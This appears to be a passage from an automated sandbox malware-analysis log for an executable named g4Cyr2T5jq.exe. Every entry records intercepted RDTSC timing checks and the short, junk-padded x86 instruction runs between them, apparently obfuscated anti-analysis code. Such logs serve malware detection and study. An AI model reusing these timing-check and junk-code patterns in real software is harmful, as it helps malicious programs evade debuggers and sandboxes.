Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0EE0 second address: 4EC0EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F772874F641h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0EF5 second address: 4EC0EF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0EF9 second address: 4EC0F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0F07 second address: 4EC0F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0F0E second address: 4EC0F29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F63Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0F29 second address: 4EC0F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0F2D second address: 4EC0F33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0F33 second address: 4EC0F39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0F39 second address: 4EC0F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0F3D second address: 4EC0F41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E600AB second address: 4E600AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E600AF second address: 4E600B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E600B5 second address: 4E60184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F644h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F772874F63Bh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 jmp 00007F772874F644h 0x00000016 pushfd 0x00000017 jmp 00007F772874F642h 0x0000001c sbb eax, 10C21958h 0x00000022 jmp 00007F772874F63Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F772874F644h 0x00000032 sbb ax, 23B8h 0x00000037 jmp 00007F772874F63Bh 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007F772874F648h 0x00000043 sbb ecx, 565CDE18h 0x00000049 jmp 00007F772874F63Bh 0x0000004e popfd 0x0000004f popad 0x00000050 push dword ptr [ebp+04h] 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F772874F645h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80C1E second address: 4E80C5E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F77291E5967h 0x00000008 or ax, 085Eh 0x0000000d jmp 00007F77291E5969h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 mov edx, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80C5E second address: 4E80C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F772874F63Bh 0x00000010 sub esi, 1C19626Eh 0x00000016 jmp 00007F772874F649h 0x0000001b popfd 0x0000001c mov esi, 271DD7F7h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80722 second address: 4E80726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80726 second address: 4E8072C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8072C second address: 4E80745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80745 second address: 4E80749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80749 second address: 4E80765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5968h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80765 second address: 4E8076B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8076B second address: 4E8076F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80618 second address: 4E8061C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8061C second address: 4E80637 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5967h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80637 second address: 4E8068B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 40CAh 0x00000007 pushfd 0x00000008 jmp 00007F772874F63Bh 0x0000000d add eax, 1CE70B6Eh 0x00000013 jmp 00007F772874F649h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F772874F648h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8068B second address: 4E8068F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8068F second address: 4E80695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80348 second address: 4E8034E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8034E second address: 4E803C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F772874F640h 0x00000009 sub al, 00000038h 0x0000000c jmp 00007F772874F63Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F772874F648h 0x00000018 adc ecx, 16250298h 0x0000001e jmp 00007F772874F63Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ebp 0x00000028 jmp 00007F772874F646h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F772874F63Eh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E803C7 second address: 4E803CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E803CD second address: 4E803D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E803D1 second address: 4E803E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edi, ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E803E0 second address: 4E803FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F772874F649h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E803FD second address: 4E80401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80401 second address: 4E80428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F772874F63Dh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F772874F63Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80428 second address: 4E80438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E595Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E901D7 second address: 4E901EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F641h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E901EC second address: 4E901FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E595Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA04BE second address: 4EA04C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA04C2 second address: 4EA04C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA04C8 second address: 4EA051F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F644h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e jmp 00007F772874F643h 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 mov di, 686Ah 0x0000001a push edi 0x0000001b jmp 00007F772874F63Eh 0x00000020 pop esi 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F772874F63Ch 0x0000002a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA051F second address: 4EA0525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA0525 second address: 4EA0578 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F772874F63Fh 0x00000011 xor ah, 0000001Eh 0x00000014 jmp 00007F772874F649h 0x00000019 popfd 0x0000001a mov ax, 58E7h 0x0000001e popad 0x0000001f mov eax, dword ptr [ebp+08h] 0x00000022 jmp 00007F772874F63Ah 0x00000027 and dword ptr [eax], 00000000h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA0578 second address: 4EA057C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA057C second address: 4EA0582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA0582 second address: 4EA05EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 pushfd 0x00000006 jmp 00007F77291E595Eh 0x0000000b sbb ecx, 2A193778h 0x00000011 jmp 00007F77291E595Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a and dword ptr [eax+04h], 00000000h 0x0000001e pushad 0x0000001f mov bx, ax 0x00000022 pushfd 0x00000023 jmp 00007F77291E5960h 0x00000028 or cx, D1D8h 0x0000002d jmp 00007F77291E595Bh 0x00000032 popfd 0x00000033 popad 0x00000034 pop ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F77291E5960h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA05EB second address: 4EA05EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA05EF second address: 4EA05F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8052C second address: 4E80550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80550 second address: 4E80554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80554 second address: 4E80558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80558 second address: 4E8055E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8055E second address: 4E80572 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 0673h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dx, si 0x00000011 mov edi, ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA0007 second address: 4EA000D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA000D second address: 4EA0012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA0012 second address: 4EA002C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bl, 05h 0x0000000f movzx ecx, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA002C second address: 4EA008B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, B7EDh 0x00000007 pushfd 0x00000008 jmp 00007F772874F63Ah 0x0000000d or si, 6B88h 0x00000012 jmp 00007F772874F63Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007F772874F649h 0x00000021 xchg eax, ebp 0x00000022 jmp 00007F772874F63Eh 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F772874F63Ah 0x00000032 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA008B second address: 4EA0091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA0091 second address: 4EA00A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 38B11C63h 0x00000008 mov cx, 1BBFh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA00A7 second address: 4EA00AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA00AB second address: 4EA00B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA02CC second address: 4EA0321 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5965h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F77291E595Ah 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F77291E595Bh 0x00000019 or eax, 59DA332Eh 0x0000001f jmp 00007F77291E5969h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA0321 second address: 4EA0386 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushfd 0x00000007 jmp 00007F772874F643h 0x0000000c sbb ax, 893Eh 0x00000011 jmp 00007F772874F649h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov al, A2h 0x0000001e push edx 0x0000001f mov bx, ax 0x00000022 pop esi 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F772874F649h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA0386 second address: 4EA038C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC064F second address: 4EC0655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0655 second address: 4EC0693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5968h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F77291E5960h 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b mov ecx, 02A3E201h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0693 second address: 4EC06FB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F772874F63Eh 0x00000008 and cx, EF18h 0x0000000d jmp 00007F772874F63Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ch, 66h 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F772874F647h 0x00000022 sbb ecx, 3936E88Eh 0x00000028 jmp 00007F772874F649h 0x0000002d popfd 0x0000002e mov ax, AF97h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC06FB second address: 4EC0701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0701 second address: 4EC0705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0705 second address: 4EC0777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F77291E595Bh 0x0000000e mov eax, dword ptr [76FA65FCh] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F77291E5964h 0x0000001a or ch, 00000068h 0x0000001d jmp 00007F77291E595Bh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F77291E5968h 0x00000029 adc eax, 79FC77C8h 0x0000002f jmp 00007F77291E595Bh 0x00000034 popfd 0x00000035 popad 0x00000036 test eax, eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0777 second address: 4EC077B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC077B second address: 4EC077F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC077F second address: 4EC0785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0785 second address: 4EC0832 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F779B248B29h 0x0000000f jmp 00007F77291E5960h 0x00000014 mov ecx, eax 0x00000016 pushad 0x00000017 jmp 00007F77291E595Eh 0x0000001c pushfd 0x0000001d jmp 00007F77291E5962h 0x00000022 adc ch, FFFFFFB8h 0x00000025 jmp 00007F77291E595Bh 0x0000002a popfd 0x0000002b popad 0x0000002c xor eax, dword ptr [ebp+08h] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F77291E5960h 0x00000038 adc eax, 3AA88218h 0x0000003e jmp 00007F77291E595Bh 0x00000043 popfd 0x00000044 pushfd 0x00000045 jmp 00007F77291E5968h 0x0000004a and esi, 058EEC78h 0x00000050 jmp 00007F77291E595Bh 0x00000055 popfd 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0832 second address: 4EC0882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushfd 0x00000007 jmp 00007F772874F63Bh 0x0000000c adc ax, 7C3Eh 0x00000011 jmp 00007F772874F649h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a and ecx, 1Fh 0x0000001d jmp 00007F772874F63Eh 0x00000022 ror eax, cl 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push edi 0x00000028 pop eax 0x00000029 mov si, dx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0882 second address: 4EC0897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E5961h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0897 second address: 4EC0930 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a mov ecx, ebx 0x0000000c pushfd 0x0000000d jmp 00007F772874F63Fh 0x00000012 jmp 00007F772874F643h 0x00000017 popfd 0x00000018 popad 0x00000019 retn 0004h 0x0000001c nop 0x0000001d mov esi, eax 0x0000001f lea eax, dword ptr [ebp-08h] 0x00000022 xor esi, dword ptr [00542014h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push eax 0x0000002b lea eax, dword ptr [ebp-10h] 0x0000002e push eax 0x0000002f call 00007F772D10FE41h 0x00000034 push FFFFFFFEh 0x00000036 jmp 00007F772874F646h 0x0000003b pop eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F772874F63Dh 0x00000045 and si, 3546h 0x0000004a jmp 00007F772874F641h 